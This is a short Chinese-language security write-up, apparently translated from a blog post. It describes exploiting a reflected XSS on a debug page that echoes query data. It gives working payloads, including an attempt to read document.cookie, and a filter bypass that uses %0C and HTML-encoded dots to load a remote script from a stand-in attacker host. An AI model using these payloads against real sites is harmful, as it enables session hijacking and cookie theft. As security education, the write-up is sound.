XSS Without Dots
发现漏洞
我发现一个网站将查询字符串和POST数据中的所有内容回显到<div>
标签中。
例如:example.php?monkey=banana
返回:
|
|
我猜测这是用于调试目的。因此一个简单的XSS攻击可以通过:
example.php?<script>alert(1)</script>
实现:
|
|
尝试获取Cookie
我决定不只是弹出1或xss,而是输出当前cookie作为简单的概念验证。
但事情并不像看起来那么简单:
example.php?<script>alert(document.cookie)</script>
返回:
|
|
下划线!?好吧,我尝试使用访问器来访问属性:
example.php?<script>alert(document['cookie'])</script>
失败:
|
|
远程脚本加载方案
于是我考虑将脚本托管在远程域:
example.php?<script src="//attacker-site.co.uk/sc.js"></script>
:
|
|
绕过限制
两个问题…
快速谷歌搜索后,发现可以使用%0C
代替空格:
example.php?<script%0Csrc="//attacker-site.co.uk/sc.js"></script>
为了处理点号,我们可以在HTML上下文中对其进行HTML编码:
example.php?<script%0Csrc="//attacker-site.co.uk/sc.js"></script>
百分号编码后为:
example.php?<script%0Csrc="//attacker-site%26%2346%3bco%26%2346%3buk/sc%26%2346%3bjs"></script>
成功攻击
最终成功执行:
|
|
浏览器将其解析为:
<script src="//attacker-site.co.uk/sc.js"></script>
并忠实地显示我们的消息框。